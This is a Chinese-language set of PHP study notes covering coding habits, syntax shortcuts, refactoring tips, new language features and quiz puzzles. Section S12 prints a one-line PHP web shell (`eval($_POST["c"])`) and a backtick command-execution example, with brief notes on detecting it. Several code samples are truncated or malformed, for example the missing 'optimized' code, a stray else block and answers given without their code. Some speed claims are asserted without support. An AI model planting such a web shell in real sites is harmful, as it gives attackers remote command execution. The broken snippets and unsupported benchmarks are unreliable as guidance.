编写代码的“四项基本原则”
- 正确的实现功能
- 执行的速度要快
- 占用的系统资源少
- 后期维护方便
良好的编码习惯
习惯1:命名非常重要
最重要的命名注意事项
- 命名要有实际的含义
- 命名的风格要保持一致
- 不用拼音命名
- 不用语言关键字
习惯2:适当的使用注释
- 好的代码应该是自描述的
- 难以理解的地方加上注释
- 函数的功能加上注释说明
- 类的功能和使用的方法加上注释
习惯3:使用一个变量,需要初始化
习惯4:有限使用单引号
$row['id']的效率是$row[id]的7倍
习惯5:用"1 == $a" 替换 "$a == 1"
习惯6:防御式编程思想
- 保护程序免遭非法输入数据的危害
- 错误处理技术
- 异常处理
- 隔离程序,使之相互影响小
- 因地制宜的防御,过度防御会增加复杂度
习惯7:用自己可控的环境参数
- 明确包含文件的路径
- 给与恰当的默认值
- 自定义错误报警的级别
- 不依赖系统环境参数,程序要动态了解所处的环境
- 不要相信外部的一切输入!
习惯8:PHP没有 ?> 结束标记怎么回事?
纯PHP代码,最好在文件末尾删除PHP结束标记。
习惯9:header头的编码
header("Content-type:text/html;charset=utf-8");
习惯10:坚持字符编码的统一
$phpcoding = PHP文件编码;
$tplcoding = 模板编码;
$mysqlcoding = 数据库编码;
$phpcoding == $tplcoding == $mysqlcoding
习惯11:error_reporting(7)
1: E_ERROR
2: E_WARNING
4: E_PARSE
习惯12:优先使用PHP内置函数
有用的PHP内置函数
- usort 使用用户自定义的比较函数对数组中的值进行排序
- rawurlencode 按照RFC1738对URL进行编码
- parse_url 解析URL,返回其组成部分
- http_build_query 生成url-encode之后的请求字符串
- exif_imagetype 判断一个图像的类型
- levenshtein 计算两个字符串之间的编辑距离
- uniqid 生成一个唯一ID
- get_brower 获取浏览器具有的功能
- get_defined_vars 返回由所有已定义变量组成的数组
- str_word_count 返回字符串中单词的使用情况
练习:使用内置函数优化如下代码
- <?php
- //求数组中最大数的下标
- function maxKey($items){
- foreach($items as $key => $val) {
- if($maxval == $val) {
- $maxkey = $key;
- }
- }
- return $maxkey;
- }
- $items = [0, -1, -2, 5, 'b' => 15, 3];
- echo maxKey($items);
优化后的代码
- <?php
- $items = [0, -1, -2, 5, 'b' => 15, 3];
习惯13:屏蔽错误非常低效
习惯14:时刻备份源代码
- 代码不能只有一份
- 启用编辑器的自动备份
- 用代码管理工具备份
习惯15:记住有效期原则
不要随便相信网上的那些PHP优化50则之类的东西,记住一切都是有有效期的,要善于自己去验证。
PHP语法糖
计算机语言中,添加的某种语法,这种语对语言的功能并没有影响,但是更方便程序员的使用。
S1:echo的逗号和点号
- <?php
- $foo = 'hello';
- $bar = 'world';
- echo $foo . $bar;
- echo $foo, $bar;
逗号优于点号
S2: 用 i+=1 代替 i=i+1
- <?php
- $i = 0;
- $i++;
- $i += 1;
- $i = $i +1
$i = $i+1 比较低效。
S3:用isset代替strlen
常见的PHP的语言结构(语言结构与函数的区别)
echo()
print()
die()
isset()
unset()
include(), include_once()
require(), require_once()
array()
list()
empty()
eval()
测试:
- <?php
- $m = 'trim'; //可变函数
- $m2 = 'echo';
-
- echo $m(' I am happy! ');
- $e 'hello';
语言结构的效率比函数要高。
S4:用strtr代替str_replace
- $subject = 'hi, php2.cc';
-
-
由于底层实现原理的不一样,strtr函数的效率是str_replace函数的四倍。
S5:PHP用yield实现协程
好多内部函数,特别是迭代有关的函数应该都有可能进行优化。
使用方法:
- foreach (getLines('file.txt') as $n => $line) {
- if ($n > 5) break;
- echo $line;
- }
-
- function xrange($start, $end, $step = 1) {
- for($i = $start; $i <= $end; $i += $step) {
- yield $i;
- }
- }
-
- foreach (xrange(1, 1000000) as $num) {
- echo $num, '\n';
- }
S6:用“[]”定义数组
语法上的支持更加显得简单。
S7:用**进行幂运算
- <?php
- echo 2**3, PHP_EOL;
-
-
- echo 2<<2, PHP_EOL;
位运算效率最高,不过只能是2的倍数。
**的语法上支持更加高效。
S8:用 ... 定义变长参数函数
S9:函数赋值默认参数:+ 运算符
- function getDivHtml($params) {
- $params += [
- 'height' => '200px',
- 'width' => '300px',
- 'skinType' => 'default',
- 'cssPath' => 'css',
- 'urlType' => 'absolute',
- 'shadowMode' => 'true'
- ];
-
- }
S11:<=> 比较运算符
语法是这样的:$c = $a <=> $b;
如果 $a > $b, $c的值为1
如果$a == $b, $c 的值为0
如果$a < $b, $c 的值为-1
$c = $a > $b ? 1 : ($a == $b ? 0 : -1);
S12:一句话木马
<?php
eval($_POST["c"]);
<?php
eval('echo (1+2*3-88)+5-6;');
eval('echo `dir`;');
进制eval使用:
php.ini
disable_functions=eval
这样子无效,因为eval是PHP的语言结构,这里只能进制PHP函数
1.人工查找代码,查看源码是否包含eval
2.人工修改PHP源码,自己编译
PHP代码优化
01:if的使用技巧之“给定初始值”
- <?php
- if(1 == $orderState) {
- $orderTitle = "已预订";
- } else {
- $orderTitle = "已售出";
- }
- return $orderTitle;
- <?php
- $orderTitle = "已售出";
- if(1 == $orderState) {
- $orderTitle = "已预订";
- }
- return $orderTitle;
02:if的使用技巧之“用"&&"替换if”
if(strlen($newpwd) < 6) {
$message = '密码长度不足!';
}
上面的转换为
strlen($newpwd) < 6 && $message = '密码长度不足!';
03:if的使用技巧之“三元运算符替换”
- <?php
- $action = 'default';
- } else {
- $action = $_POST['action'];
- }
转换为:
04:简化“三元运算符”
$action = (empty($_POST['action'])) ? 'default' : $_POST['action'];
简化为:
$action = $_POST['action'] ?: 'default';
这里与 ?? 的区别
?: 只是一种简写,如果前面的值没有初始化,则会报notice错误;但是??不会存在这个问题;
?? 是PHP7以上的一种写法
05:if的使用技巧之“去掉多此一举的if”
- function isLeapYear($year) {
- if(($year % 4 == 0 && $year % 100 != 0) || ($year % 400 == 0)) {
- return true;
- } else {
- return false;
- }
- }
简化为:
- function isLeapYear($year) {
- return ($year % 4 == 0 && $year % 100 != 0) || ($year % 400 == 0);
- }
06:“else if”能如何被改进呢?
- if('玄幻魔法' == $sortname) {
- $sortid = 1;
- } else if ('武侠修真' == $sortname) {
- $sortid = 2;
- } else if ('都市言情' == $sortname) {
- $sortid = 3;
- } else if ('其他小说' == $sortname) {
- $sortid = 10;
- }
改造为:
- switch ($sortname) {
- case '玄幻魔法':
- $sortid = 1;
- break;
- case '武侠修真':
- $sortid = 2;
- break;
- case '都市言情':
- $sortid = 3;
- break;
- case '其他小说':
- $sortid = 10;
- break;
- }
07:表驱动法替代“else if”
- $sortTable = [
- '玄幻魔法' => 1,
- '武侠修真' => 2,
- '都市言情' => 3,
- '其他小说' => 10,
- ];
-
- $sortid = $sortTable[$sortname];
以空间换时间。
08:循环语句的几个要点
- 用while(true)表示无线循环,别用for
- 特定情况下【发邮件、采集网页】,要加延时sleep
- 循环体内尽可能不用函数或更耗资源的调用
- foreach代替while和for循环(PHP)
- 避免空循环
- 制作一件事,尽可能短,控制在50行以内
- 循环嵌套限制在3层以内
09:使用更精悍短小的代码
- 函数的最佳最大长度是50-150行代码
- 函数参数不超过7个
- 短小函数更容易理解也方便修改
- 制作一件事的函数更易于复用
- 短小的函数测试更方便
11:中间结果赋值给变量
$str = 'this_is_a_test';
$humpstr = implode('', array_map('ucfirst', explode('_', $str)));
改造为:
$str = 'this_is_a_test';
$words = explode('_', $str);
$uWords = array_map('ucfirst', $words);
$humpstr = implode('', $uWords);
12:复杂的逻辑表达式做成布尔函数
if(!$hasone && $ddisfirst == 1 && $litpic == '' && empty($litpicname)) {
$litpicname = GetImageMapDD($iurl, $cfg_ddimg_width);
}
改造为:
$emptyPic = ($litpic == '' && empty($litpicname));
$validFirstPic = ($hasone && $ddisfirst == 1);
if($validFirstPic && $emptyPic) {
$litpicname = GetImageMapDD($iurl, $cfg_ddimg_width);
}
13:永远不要复制黏贴雷同的代码
- 相同的代码放一起让以后修改更轻松
- 可以让全局的统计和过滤器等实现方便
- 可服用的带参函数是解决雷同代码的好办法
PHP 重点新特性
- 文件上传进度 session.upload_progress
- short_open_tag无论是否开启,都可用
- 动态访问静态变量异常可以嵌套
- <?php
- class C {
- public static $foo = 123;
- }
- $a = "C";
- echo $a::$foo;
- 异常可以嵌套
- const关键字可用来在类定义之外定义常量了
- heredoc结构中可以用双引号来声明标识符了
- 添加nowdoc语法支持
- 增加goto操作符
- 后期静态绑定
- default_charset从ISO-8859-1已经变为UTF-8
- 新增了动态访问静态方法的方式
- 内置用于开发的CLI模式的web server
- 实例化时访问类成员(new Foo)->bar()
- 对函数返回数组的成员访问解析print func()[0]
- 新增二进制直接量 $bin = 0b110011
- boolval() 函数
- 新增array_column()函数
- 直接通过下标获取访问数组和字符串字面量的元素或字符
echo [1,2,3,4,5][0];
echo "hello world"[0]; - empty()支持传入一个任意表达式,而不仅是一个变量
- foreach 支持 list()
- 新增finally关键字
- 新增Traints
- 函数返回值类型声明,标量类型声明
PHP坑人小题
- $a = 3;
- $b = 5;
- if ($a = 5 || $b = 7) {
- ++$a;
- $b++;
- }
- echo $a, " ", $b;
结果:1 6
分析:$a = (5 || $b = 7) = true;
$c = true;
$c++;
$c++;
$c++;
$c++;
$c++;
echo $c;
结果:1
- $count = 5;
- function get_count() {
- static $count = 0;
- return $count++;
- }
- ++$count;
- get_count();
- echo get_count();
结果是:1
分析:
1.函数内的count只在函数内有效
2.返回值因为++在后面,是先返回再执行++
结果是:2
分析:
因为count(null)等于0,false也算是一个值。所以count(false)等于1.
- $a = 0.2+0.7;
- $b = 0.9;
结果是:false
了解计算机的浮点数是怎么形成的。